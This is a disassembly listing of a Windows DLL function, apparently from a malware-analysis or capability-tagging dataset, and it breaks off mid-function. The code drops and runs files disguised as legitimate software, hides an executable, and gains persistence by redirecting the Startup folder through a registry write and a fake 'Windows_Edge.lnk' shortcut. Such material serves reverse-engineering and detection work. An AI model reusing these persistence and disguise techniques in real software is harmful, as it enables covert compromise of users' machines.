Function at 0x180003480
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create directory
Create process on windows
Find taskbar
Get common file path
Get file attributes
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1880]
mov eax, 0x1980
call fcn.180016830
sub rsp, rax
movaps xmmword [rsp + 0x1970], xmm6
movaps xmmword [rsp + 0x1960], xmm7
mov r14, rcx
lea rdx, [rbp + 0x670]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.180002fa0
mov r9, rax
lea r8, [rbp + 0x670]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x560]
call fcn.1800096f0
lea r8, [rbp + 0x670]
lea rdx, str._sXLBugHandler.dll
lea rcx, [rbp + 0xab0]
call fcn.1800096f0
lea r8, [rbp + 0x670]
lea rdx, str._sThunder.exe
lea rcx, [rbp + 0x10f0]
call fcn.1800096f0
lea rcx, [rbp + 0xa8]
call fcn.180002e20
nop
lea rcx, [rbp + 0xc8]
call fcn.180002e20
nop
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r12b
lea r8d, [r12 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x70]
call fcn.180008f50
nop
lea r8d, [r12 + 1]
lea rdx, [0x18004be30]
lea rcx, [rbp - 0x70]
call fcn.1800090b0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea r8d, [r12 + 6]
lea rdx, str.config
lea rcx, [rsp + 0x50]
call fcn.1800090b0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x18000362a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003625
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004f9e
call fcn.180015f98
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180003678
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003673
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fa4
call fcn.180015f98
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp + 0x88]
call fcn.180008f50
nop
mov r8d, 1
lea rdx, [0x18004be30]
lea rcx, [rbp + 0x88]
call fcn.1800090b0
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
lea rcx, [rbp + 0x68]
call fcn.1800090b0
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x18004be30]
lea rcx, [rbp + 0x48]
call fcn.1800090b0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0x10
cmovae rdx, qword [rbp + 0xc8]
mov r8, qword [rbp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.1800090b0
mov qword [rsp + 0x70], r12
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..exe
lea rcx, [rsp + 0x70]
call fcn.1800090b0
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x18000386f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000386a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004faa
call fcn.180015f98
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800038bd
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800038b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fb0
call fcn.180015f98
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x18000390b
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003906
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fb6
call fcn.180015f98
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x180003959
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003954
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fbc
call fcn.180015f98
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x80], 0xf
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x1800039ad
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800039a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fc2
call fcn.180015f98
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], 0xf
mov byte [rbp + 0x88], 0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x30]
call fcn.180008f50
nop
mov r8d, 1
lea rdx, [0x18004be30]
lea rcx, [rbp - 0x30]
call fcn.1800090b0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0x10
cmovae rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
lea rcx, [rsp + 0x50]
call fcn.1800090b0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x180003acd
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003ac8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fc8
call fcn.180015f98
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180003b1a
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fce
call fcn.180015f98
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180003b68
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fd4
call fcn.180015f98
lea r8, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae r8, qword [rbp + 0x28]
lea rdx, [0x18004be3c]
lea rcx, [rbp + 0x780]
call fcn.1800096f0
mov qword [rbp - 0x10], r12
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
lea rax, [rbp + 0x780]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180003bb0
lea rdx, [rbp + 0x780]
lea rcx, [rbp - 0x10]
call fcn.180008f50
nop
lea rcx, [rbp - 0x10]
mov r9, qword [rbp - 0x10]
mov r10, qword [rbp + 8]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [rbp]
test rdx, rdx
je 0x180003c16
lea rax, [rdx - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x180003c11
cmp r8, rcx
je 0x180003c16
dec r8
cmp byte [r8], 0x5c
jne 0x180003c03
sub r8, rcx
jmp 0x180003c1d
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
inc r8
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp - 0x10]
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rbp - 0x30]
call fcn.180008f50
nop
mov r8d, 0x12
lea rdx, str.mhRCPlayer_dll.dll
lea rcx, [rbp - 0x30]
call fcn.1800090b0
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x180003cb8
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003cb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fda
call fcn.180015f98
movups xmmword [rbp - 0x10], xmm6
movups xmmword [rbp], xmm7
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180003cfb
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003cf6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fe0
call fcn.180015f98
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r8, qword [rbp - 0x10]
lea rdx, [0x18004be3c]
lea rcx, [rbp + 0xfe0]
call fcn.1800096f0
lea rax, [rbp + 0xed0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call fcn.180002fa0
mov r9, rax
lea r8, [rbp + 0xed0]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x890]
call fcn.1800096f0
lea r8, [rbp + 0xed0]
lea rdx, str._s_assistBase.dll
lea rcx, [rbp + 0x1640]
call fcn.1800096f0
lea r8, [rbp + 0x670]
lea rdx, str._s_tgp_daemon.exe
lea rcx, [rbp + 0xdc0]
call fcn.1800096f0
call fcn.180002fa0
mov r9, rax
lea r8, [rbp + 0x670]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x1750]
call fcn.1800096f0
lea rcx, [rbp + 0x2d0]
call fcn.1800083a0
nop
mov qword [rsp + 0x30], r12
mov word [rsp + 0x38], 1
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x318]
mov qword [rsp + 0x70], rax
test rax, rax
sete byte [rsp + 0x78]
mov byte [rsp + 0x79], 0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x10]
call fcn.18000b7d0
nop
lea rcx, [rbp + 0x2e0]
call fcn.180008e20
test rax, rax
jne 0x180003e67
mov rax, qword [rbp + 0x2d0]
movsxd rcx, dword [rax + 4]
lea r9, [rbp + 0x2d0]
add rcx, r9
mov edx, 6
mov eax, 2
cmp qword [rcx + 0x48], 0
cmovne edx, eax
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.180002660
lea rcx, [0x1801db6c0]
call fcn.18001d4f0
mov dword [rsp + 0x30], 0x61657771
mov dword [rsp + 0x34], 0x32316473
mov dword [rsp + 0x38], 0x63787a33
mov ecx, 0xc
call fcn.180015fa0
mov qword [rbp - 0x70], rax
lea rbx, [rax + 0xc]
mov qword [rbp - 0x60], rbx
mov r8d, 0xc
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.1800180b0
mov qword [rbp - 0x68], rbx
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.180002cb0
mov qword [rbp - 0x50], r12
mov rcx, r12
mov qword [rbp - 0x40], rcx
mov r8d, 0xf
mov qword [rbp - 0x38], r8
mov byte [rbp - 0x50], cl
mov rdi, qword [rbp + 0x18]
mov rbx, qword [rbp + 0x10]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x180003f05
lea rcx, [rbp - 0x50]
call fcn.180009f10
mov rcx, r12
mov qword [rbp - 0x40], rcx
mov r8, qword [rbp - 0x38]
lea rax, [rbp - 0x50]
mov qword [rbp + 0x18b8], rax
cmp rbx, rdi
je 0x180003f59
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x180003f3e
lea rax, [rcx + 1]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x50]
mov byte [rcx + rax], r9b
mov byte [rcx + rax + 1], 0
jmp 0x180003f47
lea rcx, [rbp - 0x50]
call fcn.18000a060
inc rbx
cmp rbx, rdi
je 0x180003f59
mov r8, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
jmp 0x180003f15
lea rdx, str.__w__________________
lea rcx, [rbp + 0x1a0]
call fcn.1800073f0
nop
mov qword [rbp + 0x1d0], r12
mov byte [rbp + 0x1d8], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
mov qword [rbp + 0x200], r12
mov byte [rbp + 0x208], 0
movdqa xmmword [rbp + 0x210], xmm0
mov byte [rbp + 0x220], 0
mov qword [rbp + 0x228], r12
mov qword [rbp + 0x230], r12
mov byte [rbp + 0x238], 0
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdx, qword [rbp - 0x50]
add rdx, qword [rbp - 0x40]
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rax, qword [rbp - 0x50]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
lea rcx, [rbp + 0x1a0]
mov qword [rbp + 0x100], rcx
mov dword [rbp + 0x108], r12d
mov qword [rbp + 0x110], r12
mov byte [rbp + 0x118], 0
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmmword [rbp + 0x130], xmm1
mov qword [rbp + 0x140], r12
mov byte [rbp + 0x148], 0
movdqa xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x160], 0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
mov byte [rbp + 0x178], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x1a0]
lea r8, [rbp + 0x110]
mov rcx, rax
call fcn.180009a10
mov rbx, qword [rbp + 0x100]
test al, al
cmove rbx, r12
mov qword [rbp + 0x100], rbx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x240], xmm0
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x260], r12
mov byte [rbp + 0x268], 0
movdqa xmmword [rbp + 0x270], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x280], xmm1
mov qword [rbp + 0x290], r12
mov byte [rbp + 0x298], 0
movdqa xmmword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], r12
mov qword [rbp + 0x2c0], r12
mov byte [rbp + 0x2c8], 0
lea r13, str.qddll
mov r15d, 0xa
mov rsi, qword [rbp + 0x120]
nop dword [rax]
nop word [rax + rax]
test rbx, rbx
sete al
test al, al
jne 0x180004695
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x4f0]
call fcn.1800051d0
nop
mov rcx, qword [rbp + 0x508]
mov rdi, qword [rbp + 0x500]
sub rcx, rdi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x180004569
cmp byte [rdi + 0x28], 0
je 0x180004179
movups xmm0, xmmword [rdi + 0x18]
movups xmmword [rsp + 0x70], xmm0
jmp 0x180004182
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x1800041b7
sub r8, rdx
lea rcx, [rsp + 0x30]
call fcn.180008f50
nop
cmp byte [rdi + 0x40], 0
je 0x1800041c8
movups xmm0, xmmword [rdi + 0x30]
movups xmmword [rsp + 0x70], xmm0
jmp 0x1800041d1
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x180004206
sub r8, rdx
lea rcx, [rsp + 0x50]
call fcn.180008f50
nop
cmp byte [rdi + 0x58], 0
je 0x180004217
movups xmm0, xmmword [rdi + 0x48]
movups xmmword [rsp + 0x70], xmm0
jmp 0x180004220
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov ebx, 0xf
mov qword [rbp - 0x18], rbx
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x78]
cmp rdx, r8
je 0x180004254
sub r8, rdx
lea rcx, [rbp - 0x30]
call fcn.180008f50
mov rbx, qword [rbp - 0x18]
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x180055830]
call fcn.180009480
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.18000b970
mov rcx, rax
lea rdx, [0x18004beac]
call fcn.180009480
lea rdx, [rsp + 0x30]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x48]
cmp r9, 0x10
cmovae rdx, r8
mov r10, qword [rsp + 0x40]
cmp r10, 5
jne 0x1800042ee
mov rcx, r12
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x1800042d9
cmp rcx, 5
jne 0x1800042c0
mov eax, r12d
jmp 0x1800042de
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800042ee
lea rdx, [rbp + 0xfe0]
jmp 0x180004468
lea rdx, [rsp + 0x30]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 6
jne 0x18000433e
mov rcx, r12
lea r11, str.runexe
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x180004329
cmp rcx, 6
jne 0x180004310
mov eax, r12d
jmp 0x18000432e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000433e
lea rdx, [rbp + 0x890]
jmp 0x180004468
lea rax, [rsp + 0x30]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 3
jne 0x18000437c
cmp byte [rax], 0x62
jne 0x180004367
cmp byte [rax + 1], 0x77
jne 0x180004367
cmp byte [rax + 2], 0x6a
jne 0x180004367
mov eax, r12d
jmp 0x18000436c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000437c
lea rdx, [rbp + 0x560]
jmp 0x180004468
lea rax, [rsp + 0x30]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 3
jne 0x1800043ba
cmp byte [rax], 0x64
jne 0x1800043a5
cmp byte [rax + 1], 0x6c
jne 0x1800043a5
cmp byte [rax + 2], 0x6c
jne 0x1800043a5
mov eax, r12d
jmp 0x1800043aa
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800043ba
lea rdx, [rbp + 0xab0]
jmp 0x180004468
lea rax, [rsp + 0x30]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 2
jne 0x1800043ef
cmp byte [rax], 0x71
jne 0x1800043dd
cmp byte [rax + 1], 0x64
jne 0x1800043dd
mov eax, r12d
jmp 0x1800043e2
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800043ef
lea rdx, [rbp + 0x10f0]
jmp 0x180004468
lea rdx, [rsp + 0x30]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 5
jne 0x18000443b
mov rcx, r12
lea r11, str.qdexe
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x180004429
cmp rcx, 5
jne 0x180004410
mov eax, r12d
jmp 0x18000442e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000443b
lea rdx, [rbp + 0x780]
jmp 0x180004468
lea rcx, [rsp + 0x30]
cmp r9, 0x10
cmovae rcx, r8
cmp r10, 0xa
jne 0x18000447e
mov r8, r15
lea rdx, str.tgp_daemon
call fcn.1800189c0
test eax, eax
jne 0x18000447e
lea rdx, [rbp + 0xdc0]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rcx, qword [rsp + 0x50]
call fcn.180002b80
lea rcx, [rbp + 0x890]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800044a3
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x890]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
cmp rbx, 0x10
jb 0x1800044dc
lea rdx, [rbx + 1]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800044d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fe6
call fcn.180015f98
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180004519
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004514
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004fec
call fcn.180015f98
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180004569
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004564
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004ff2
call fcn.180015f98
mov rsi, qword [rbp + 0x120]
mov rbx, qword [rsi + 8]
xor dl, dl
cmp qword [rsi], rbx
jne 0x1800045c0
mov rdx, qword [rbp + 0xf8]
cmp rbx, rdx
je 0x180004613
mov ecx, dword [rbp + 0x108]
or ecx, 0x60
mov rax, qword [rbp + 0xf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x100]
lea r8, [rbp + 0x110]
mov rcx, rbx
call fcn.180009a10
test al, al
jne 0x18000461f
mov dl, 1
mov eax, dword [rbp + 0x108]
bts eax, 8
mov dword [rbp + 0x108], eax
mov ecx, eax
bts ecx, 0xe
test dl, dl
cmove ecx, eax
mov rax, qword [rbp + 0xf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0x100]
lea r8, [rbp + 0x110]
mov rdx, qword [rbp + 0xf8]
mov rcx, rbx
call fcn.180009a10
test al, al
jne 0x18000461f
mov rsi, qword [rbp + 0x120]
mov rbx, r12
mov qword [rbp + 0x100], rbx
jmp 0x18000462d
mov rsi, qword [rbp + 0x120]
mov rbx, qword [rbp + 0x100]
test rdi, rdi
je 0x180004110
mov rcx, qword [rbp + 0x510]
sub rcx, rdi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x180004688
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180004ff8
mov rcx, rdi
call fcn.180015f98
jmp 0x180004110
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180002fa0
mov r9, rax
mov r8, r14
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8, r14
lea rdx, str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
lea rcx, [rbp + 0x1200]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1200]
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x3e0]
call fcn.180003130
mov r8, r14
lea rdx, str._sWindows_Edge.lnk
lea rcx, [rbp + 0x1420]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x780]
lea rdx, str.__s_
lea rcx, [rbp + 0x1310]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1310]
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x1420]
call fcn.180003130
call fcn.180002fa0
mov r9, rax
mov r8, r14
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x9a0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x890]
lea rdx, str.__s_
